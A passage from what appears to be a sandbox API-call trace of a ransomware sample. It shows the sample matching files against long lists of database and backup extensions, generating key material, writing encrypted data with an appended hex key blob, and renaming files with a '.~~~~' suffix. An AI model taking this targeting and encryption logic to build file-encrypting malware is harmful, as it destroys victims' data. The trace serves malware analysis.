	[0085.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0085.864] lstrlenW (lpString=".sql") returned 4
	[0085.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0085.865] lstrlenW (lpString=".MYD") returned 4
	[0085.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0085.865] lstrlenW (lpString=".DBT") returned 4
	[0085.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0085.865] lstrlenW (lpString=".ACCDB") returned 6
	[0085.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0085.865] lstrlenW (lpString=".fdb") returned 4
	[0085.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0085.865] lstrlenW (lpString=".bak") returned 4
	[0085.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0085.865] lstrlenW (lpString=".myd") returned 4
	[0085.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0085.865] lstrlenW (lpString=".DTXS") returned 5
	[0085.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0085.865] lstrlenW (lpString=".ckp") returned 4
	[0085.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0085.865] lstrlenW (lpString=".dbt") returned 4
	[0085.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0085.865] lstrlenW (lpString=".db") returned 3
	[0085.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0085.865] lstrlenW (lpString=".TXT") returned 4
	[0085.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0085.865] lstrlenW (lpString=".MDF") returned 4
	[0085.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0085.866] lstrlenW (lpString=".bdb") returned 4
	[0085.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0085.866] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0085.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.866] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0085.867] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.867] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0085.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2826fd8
	[0085.867] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20585729260) returned 1
	[0085.867] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9cfe2770, dwHighDateTime=0x1d60e1e)) 
	[0085.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0085.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0085.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0085.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6208
	[0085.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6208 | out: hHeap=0x300000) returned 1
	[0085.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ba700
	[0085.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba700 | out: hHeap=0x300000) returned 1
	[0085.868] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0085.868] GetLastError () returned 0x0
	[0085.868] GetLastError () returned 0x0
	[0085.868] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0085.868] GetLastError () returned 0x0
	[0085.868] GetLastError () returned 0x0
	[0085.871] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffeffc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.871] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1004, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x1004, lpOverlapped=0x0) returned 1
	[0085.871] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0085.871] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.871] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.871] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.871] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.872] CloseHandle (hObject=0x124) returned 1
	[0085.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fd00
	[0085.872] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.~~~~")) returned 1
	[0085.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fd00 | out: hHeap=0x300000) returned 1
	[0085.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0085.873] GetLastError () returned 0x0
	[0085.873] RtlWakeConditionVariable () returned 0x365f70
	[0085.873] GetCurrentThreadId () returned 0x3a4
	[0085.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".scr") returned 0x0
	[0085.873] lstrlenW (lpString=".cmd") returned 4
	[0085.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".cmd") returned 0x0
	[0085.873] lstrlenW (lpString=".dll") returned 4
	[0085.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".dll") returned 0x0
	[0085.873] lstrlenW (lpString=".bat") returned 4
	[0085.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".bat") returned 0x0
	[0085.873] lstrlenW (lpString=".cpl") returned 4
	[0085.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".cpl") returned 0x0
	[0085.873] lstrlenW (lpString=".sys") returned 4
	[0085.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".sys") returned 0x0
	[0085.873] lstrlenW (lpString=".msc") returned 4
	[0085.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".msc") returned 0x0
	[0085.873] lstrlenW (lpString=".com") returned 4
	[0085.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".com") returned 0x0
	[0085.873] lstrlenW (lpString=".lnk") returned 4
	[0085.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".lnk") returned 0x0
	[0085.873] lstrlenW (lpString=".msp") returned 4
	[0085.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".msp") returned 0x0
	[0085.874] lstrlenW (lpString=".pif") returned 4
	[0085.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".pif") returned 0x0
	[0085.874] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0085.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0085.874] lstrlenW (lpString=".sqb") returned 4
	[0085.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".sqb") returned 0x0
	[0085.874] lstrlenW (lpString=".ost") returned 4
	[0085.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".ost") returned 0x0
	[0085.874] lstrlenW (lpString=".txt") returned 4
	[0085.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".txt") returned 0x0
	[0085.874] lstrlenW (lpString=".mdt") returned 4
	[0085.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".mdt") returned 0x0
	[0085.874] lstrlenW (lpString=".BDB") returned 4
	[0085.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".BDB") returned 0x0
	[0085.875] lstrlenW (lpString=".eql") returned 4
	[0085.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".eql") returned 0x0
	[0085.875] lstrlenW (lpString=".DBF") returned 4
	[0085.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".DBF") returned 0x0
	[0085.875] lstrlenW (lpString=".EQL") returned 4
	[0085.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".EQL") returned 0x0
	[0085.875] lstrlenW (lpString=".FDB") returned 4
	[0085.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".FDB") returned 0x0
	[0085.875] lstrlenW (lpString=".EDB") returned 4
	[0085.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".EDB") returned 0x0
	[0085.875] lstrlenW (lpString=".DACPAC") returned 7
	[0085.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".DACPAC") returned 0x0
	[0085.875] lstrlenW (lpString=".VHD") returned 4
	[0085.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".VHD") returned 0x0
	[0085.875] lstrlenW (lpString=".DBV") returned 4
	[0085.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".DBV") returned 0x0
	[0085.875] lstrlenW (lpString=".dacpac") returned 7
	[0085.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".dacpac") returned 0x0
	[0085.875] lstrlenW (lpString=".sdf") returned 4
	[0085.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".sdf") returned 0x0
	[0085.875] lstrlenW (lpString=".accdb") returned 6
	[0085.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".accdb") returned 0x0
	[0085.875] lstrlenW (lpString=".DBX") returned 4
	[0085.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".DBX") returned 0x0
	[0085.875] lstrlenW (lpString=".MDT") returned 4
	[0085.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".MDT") returned 0x0
	[0085.876] lstrlenW (lpString=".SQB") returned 4
	[0085.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".SQB") returned 0x0
	[0085.876] lstrlenW (lpString=".vhd") returned 4
	[0085.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".vhd") returned 0x0
	[0085.876] lstrlenW (lpString=".bac") returned 4
	[0085.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".bac") returned 0x0
	[0085.876] lstrlenW (lpString=".mdf") returned 4
	[0085.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".mdf") returned 0x0
	[0085.876] lstrlenW (lpString=".BAK") returned 4
	[0085.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".BAK") returned 0x0
	[0085.876] lstrlenW (lpString=".BAC") returned 4
	[0085.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".BAC") returned 0x0
	[0085.876] lstrlenW (lpString=".dbs") returned 4
	[0085.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".dbs") returned 0x0
	[0085.876] lstrlenW (lpString=".vhdx") returned 5
	[0085.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".vhdx") returned 0x0
	[0085.876] lstrlenW (lpString=".NDF") returned 4
	[0085.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".NDF") returned 0x0
	[0085.876] lstrlenW (lpString=".dat") returned 4
	[0085.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".dat") returned 0x0
	[0085.876] lstrlenW (lpString=".DBS") returned 4
	[0085.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".DBS") returned 0x0
	[0085.876] lstrlenW (lpString=".CKP") returned 4
	[0085.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".CKP") returned 0x0
	[0085.877] lstrlenW (lpString=".edb") returned 4
	[0085.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".edb") returned 0x0
	[0085.877] lstrlenW (lpString=".PST") returned 4
	[0085.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".PST") returned 0x0
	[0085.877] lstrlenW (lpString=".dbf") returned 4
	[0085.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".dbf") returned 0x0
	[0085.877] lstrlenW (lpString=".SQL") returned 4
	[0085.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".SQL") returned 0x0
	[0085.877] lstrlenW (lpString=".pst") returned 4
	[0085.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".pst") returned 0x0
	[0085.877] lstrlenW (lpString=".dbv") returned 4
	[0085.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".dbv") returned 0x0
	[0085.877] lstrlenW (lpString=".SDF") returned 4
	[0085.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".SDF") returned 0x0
	[0085.877] lstrlenW (lpString=".dtxs") returned 5
	[0085.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".dtxs") returned 0x0
	[0085.877] lstrlenW (lpString=".db3") returned 4
	[0085.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".db3") returned 0x0
	[0085.877] lstrlenW (lpString=".OST") returned 4
	[0085.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".OST") returned 0x0
	[0085.877] lstrlenW (lpString=".dbx") returned 4
	[0085.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".dbx") returned 0x0
	[0085.878] lstrlenW (lpString=".DB3") returned 4
	[0085.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".DB3") returned 0x0
	[0085.878] lstrlenW (lpString=".DAT") returned 4
	[0085.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".DAT") returned 0x0
	[0085.878] lstrlenW (lpString=".VHDX") returned 5
	[0085.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".VHDX") returned 0x0
	[0085.878] lstrlenW (lpString=".ndf") returned 4
	[0085.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".ndf") returned 0x0
	[0085.878] lstrlenW (lpString=".DB") returned 3
	[0085.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".DB") returned 0x0
	[0085.878] lstrlenW (lpString=".sql") returned 4
	[0085.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".sql") returned 0x0
	[0085.878] lstrlenW (lpString=".MYD") returned 4
	[0085.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".MYD") returned 0x0
	[0085.878] lstrlenW (lpString=".DBT") returned 4
	[0085.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".DBT") returned 0x0
	[0085.878] lstrlenW (lpString=".ACCDB") returned 6
	[0085.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".ACCDB") returned 0x0
	[0085.878] lstrlenW (lpString=".fdb") returned 4
	[0085.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".fdb") returned 0x0
	[0085.878] lstrlenW (lpString=".bak") returned 4
	[0085.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".bak") returned 0x0
	[0085.878] lstrlenW (lpString=".myd") returned 4
	[0085.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".myd") returned 0x0
	[0085.879] lstrlenW (lpString=".DTXS") returned 5
	[0085.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".DTXS") returned 0x0
	[0085.879] lstrlenW (lpString=".ckp") returned 4
	[0085.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".ckp") returned 0x0
	[0085.879] lstrlenW (lpString=".dbt") returned 4
	[0085.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".dbt") returned 0x0
	[0085.879] lstrlenW (lpString=".db") returned 3
	[0085.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".db") returned 0x0
	[0085.879] lstrlenW (lpString=".TXT") returned 4
	[0085.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".TXT") returned 0x0
	[0085.879] lstrlenW (lpString=".MDF") returned 4
	[0085.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".MDF") returned 0x0
	[0085.879] lstrlenW (lpString=".bdb") returned 4
	[0085.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".bdb") returned 0x0
	[0085.879] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0085.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
